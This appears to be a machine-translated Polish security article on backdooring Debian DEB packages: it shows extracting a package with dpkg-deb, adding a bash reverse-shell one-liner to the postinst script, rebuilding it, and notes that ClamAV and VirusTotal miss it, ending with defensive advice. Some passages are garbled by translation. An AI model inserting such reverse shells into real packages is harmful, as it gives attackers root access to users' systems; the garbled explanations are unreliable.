Jak pakiety DEB są archiwizowane i jak to wykryć?
Kluczowe wnioski
Potencjalnie nieuczciwi aktorzy mogą wykorzystywać repozytoria pakietów Debiana, potajemnie wprowadzając szkodliwe oprogramowanie do systemu użytkownika w procesie instalacji, korzystając z podwyższonych uprawnień.
Wykrywanie zainfekowanych plików pakietów Debiana może stanowić wyzwanie ze względu na ich potencjalne unikanie wykrywania przez programy antywirusowe i platformy oparte na chmurze, takie jak VirusTotal.
Aby się zabezpieczyć, zaleca się powstrzymanie się od pozyskiwania pakietów DEB z nieznanych źródeł, a raczej wybranie autoryzowanych platform dystrybucyjnych lub stron internetowych, które zostały zatwierdzone przez godną zaufania społeczność. Ponadto wdrożenie środków bezpieczeństwa w systemie operacyjnym Linux może pomóc w ograniczeniu potencjalnych zagrożeń stwarzanych przez cyberataki.
Pliki DEB stanowią powszechną formę dostarczania oprogramowania dla systemów operacyjnych Linux opartych na Debianie, służąc jako standardowy format pakowania do dystrybucji aplikacji na tych platformach.
Aby wdrożyć pliki pakietu Debiana (DEB), konieczne jest wykorzystanie narzędzia do zarządzania pakietami, takiego jak dpkg, z uprawnieniami administracyjnymi. Jednak cyberprzestępcy wykorzystują tę lukę, osadzając nieautoryzowane punkty dostępu w tych pakietach, które w konsekwencji wykonują się po instalacji za pośrednictwem dpkg lub innego porównywalnego instalatora oprogramowania. Ta taktyka prowadzi do potencjalnych naruszeń ram bezpieczeństwa systemu komputerowego.
Zagłębmy się w zawiłości luk typu backdoor obecnych w pakietach DEB i zbadajmy środki, które można podjąć, aby zabezpieczyć się przed potencjalnymi zagrożeniami.
W jaki sposób pakiety DEB są backdoorowane?
Zagłębmy się najpierw w zawiłości archiwów pakietów Debiana (DEB), zanim wyjaśnimy ich podatność na luki typu backdoor. Aby zilustrować tę koncepcję, jako punkt odniesienia wykorzystamy wszechobecny pakiet Microsoft Visual Studio Code DEB uzyskany bezpośrednio z cenionej witryny Microsoftu. Jest to ten sam pakiet, który entuzjaści Linuksa na całym świecie wykorzystują podczas instalacji Visual Studio Code na swoich systemach.
Download: Visual Studio Code
Aby wyodrębnić zawartość pakietu DEB za pomocą narzędzia dpkg-deb, można użyć flagi “-R” w połączeniu ze ścieżką katalogu, w którym mają być przechowywane wyodrębnione pliki.Składnia tej operacji przypominałaby następującą:cssdpkg-deb -R [DEPENDENCY_PATH] [TARGET_FILENAME]
dpkg-deb -R <package_name> <path>
Jeden z możliwych sposobów wyrażenia tego stwierdzenia w bardziej wyrafinowany sposób byłby następujący: “Ta akcja ma na celu pobranie zawartości zawartej w pakiecie oprogramowania VS Code.
Po uzyskaniu dostępu do wyznaczonego folderu odkryjemy wiele podkatalogów. Należy jednak zauważyć, że zajmujemy się wyłącznie katalogiem “DEBIAN” we wspomnianym folderze. Wspomniany katalog zawiera serię skryptów konserwacyjnych, które są wykonywane po instalacji i mają podwyższone uprawnienia, w szczególności uprawnienia użytkownika root. Nie powinno dziwić, że złośliwi aktorzy są znani z manipulowania tymi skryptami do swoich nikczemnych celów.
Pozwolę sobie doprecyzować język. Omawiany przypadek polega na zmianie skryptu poinstalacyjnego i włączeniu przydatnej odwrotnej powłoki TCP jako jednowierszowego polecenia Bash. Zgodnie ze swoją nomenklaturą, skrypt ten jest uruchamiany po instalacji pakietu oprogramowania w systemie.
Wspomniany skrypt zawiera dyrektywy służące do ustalania różnych aspektów konfiguracji, w tym ustanawiania dowiązań symbolicznych i zarządzania zależnościami. W Internecie dostępnych jest mnóstwo alternatywnych rozwiązań powłoki odwrotnej, z których wiele wykazuje podobną funkcjonalność. Na przykład, przykładowy exploit powłoki odwrotnej może zostać wykonany przy użyciu następującego polecenia:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Objaśnienie polecenia:
Wykonanie powłoki Bash jest inicjowane za pomocą tego polecenia.
Obecność flagi powoduje, że Bash działa w sposób interaktywny, umożliwiając natychmiastowe wprowadzanie i wyprowadzanie poleceń.
Polecenie “<&/dev/tcp/ip/port:” przekierowało zarówno standardowe wyjście, jak i standardowy błąd do gniazda sieciowego, efektywnie tworząc połączenie TCP z adresem IP “ip” na porcie “port”.
Polecenie przekierowuje zarówno standardowe wejście, jak i standardowe wyjście do gniazda sieciowego, określając adres i numer portu, w wyniku czego wszystkie dane są przesyłane z określonego punktu końcowego.
Osoby, które nie są zaznajomione z tą koncepcją, mogą postrzegać powłokę odwrotną jako szczególny podzbiór języka programowania lub skryptu, który po wdrożeniu w zamierzonym systemie ustanawia bezpieczny kanał komunikacyjny między zaatakowanym hostem a komputerem atakującego.Zaletą tej techniki jest możliwość obejścia konwencjonalnych środków bezpieczeństwa sieci, takich jak zapory ogniowe, ponieważ przepływ danych pochodzi z chronionego obwodu, a nie z próby penetracji go z zewnątrz.
Oto jak wygląda zmodyfikowany skrypt:
Rzeczywiście, wydaje się, że wszystkie aspekty pozostają niezmienione, z wyjątkiem włączenia naszej odwracalnej implementacji powłoki. Aby zrekonstruować wspomniany plik pakietu “.deb”, można użyć polecenia “dpkg” z flagą “-b” i podaniem odpowiedniej ścieżki katalogu lub alternatywnie użyć narzędzia “dpkg-deb” w tandemie z flagą “-b”, po której następuje określona ścieżka wyodrębnionych komponentów.
dpkg --build <directory>
dpkg-deb -b <directory>
W przypadku, gdy użytkownik pomyślnie pozyskał skompromitowany pakiet DEB z nielegalnego źródła, a następnie zainstalował go na swoim urządzeniu komputerowym zgodnie ze standardowym protokołem, przejdziemy teraz do hipotetycznej sytuacji do celów analizy.
Górny panel przedstawia perspektywę celu, który wykonuje proces instalacji za pomocą polecenia “sudo dpkg -i” w systemie Linux. I odwrotnie, dolny panel przedstawia punkt widzenia agresora, który pilnie monitoruje przychodzącą komunikację za pomocą polecenia “netcat”.
Po zakończeniu procesu instalacji należy zauważyć, że atakujący uzyskuje połączenie z powłoką odwrotną, które zapewnia mu dostęp roota do zaatakowanego systemu. Pokazuje to jedną z metod, dzięki której pakiety Debiana mogą być wykorzystywane za pomocą technik backdoor. Kluczowe jest zrozumienie tych luk w celu podjęcia odpowiednich środków ochrony przed takimi atakami.
Jak wykryć, czy pakiet DEB jest złośliwy
W świetle wiedzy, że istnieją skompromitowane archiwa pakietów Debiana (DEB), można zapytać o identyfikację takich przypadków. Na początek można skorzystać z oprogramowania antywirusowego dla systemów Linux, takiego jak ClamAV. Jednak po przeprowadzeniu skanowania ClamAV na przedmiotowym pakiecie nie wykryto żadnych oznak złośliwych intencji. Wyniki procesu skanowania przedstawiono poniżej:
Rzeczywiście, zastosowanie najwyższej klasy programu antywirusowego nie zapewnia nieprzenikalności przed cyberatakami. W związku z tym identyfikacja złośliwych plików .deb może być trudna. Jedną z alternatyw jest wykorzystanie usługi opartej na chmurze, takiej jak platforma VirusTotal, w celu zwiększenia możliwości wykrywania.
Rzeczywiście, w oparciu o wyniki uzyskane z VirusTotal, nie wydaje się, aby istniały jakiekolwiek znaczące złośliwe działania związane z dostarczonym kodem. Aby ograniczyć potencjalne ryzyko związane z podobnymi zagrożeniami, zaleca się, aby użytkownicy przestrzegali podstawowych praktyk cyberbezpieczeństwa, w tym powstrzymywali się od pobierania treści z niezaufanych źródeł, konsekwentnie weryfikowali integralność pobranych plików za pomocą analizy hash i ogólnie powstrzymywali się od instalowania podejrzanych aplikacji.
W celu ograniczenia potencjalnego ryzyka związanego z przeglądaniem Internetu, kluczowe jest zachowanie ostrożności podczas poruszania się po nieznanych stronach internetowych i upewnienie się, że odwiedza się tylko renomowane domeny. Ponadto, w przypadku korzystania z systemu operacyjnego Linux, uzyskiwanie aplikacji w postaci obrazów aplikacji może okazać się korzystne, ponieważ pakiety te są zamknięte w sobie i mogą być odizolowane od bezpośredniej interakcji z systemem hosta, zapewniając w ten sposób dodatkową warstwę bezpieczeństwa.
Nie pobieraj pakietów DEB z przypadkowych stron!
Podczas gdy pliki pakietów Debiana same w sobie nie są złośliwe, istnieje powszechne ryzyko, że mogą zostać wykorzystane przez cyberprzestępców, którzy mogą nimi manipulować i rozpowszechniać je podstępnie wśród niczego niepodejrzewających użytkowników końcowych. W rzeczywistości nie trzeba szukać dalej niż łatwość modyfikacji tych pakietów za pomocą zaledwie kilku poleceń w celu wstawienia złośliwego kodu, co okazało się częstą metodą wykorzystywaną przez hakerów do rozprzestrzeniania szkodliwego oprogramowania.
Warto zauważyć, że nawet podstawowe luki typu backdoor w pakietach Debiana często wymykają się wykryciu przez wiodące programy antywirusowe. W związku z tym należy zachować ostrożność podczas przeglądania Internetu i ograniczyć pobieranie oprogramowania wyłącznie do zweryfikowanych źródeł, takich jak strony internetowe producentów lub zaufane platformy innych firm.
Secure Your Linux PC by Installing Security Tools
Post-processing results to plain English:Having acknowledged the potential hazards associated with deploying DEB packages from unfamiliar sources, it is crucial to exercise caution while installing new applications. Niemniej jednak, sama czujność przy wyborze programów do instalacji może nie wystarczyć. Dodatkowo, system operacyjny Linux może również paść ofiarą cyberataków za pośrednictwem sieci.
Aby zabezpieczyć się przed potencjalnymi zagrożeniami cybernetycznymi, zaleca się wdrożenie rozwiązań bezpieczeństwa sieciowego w systemie.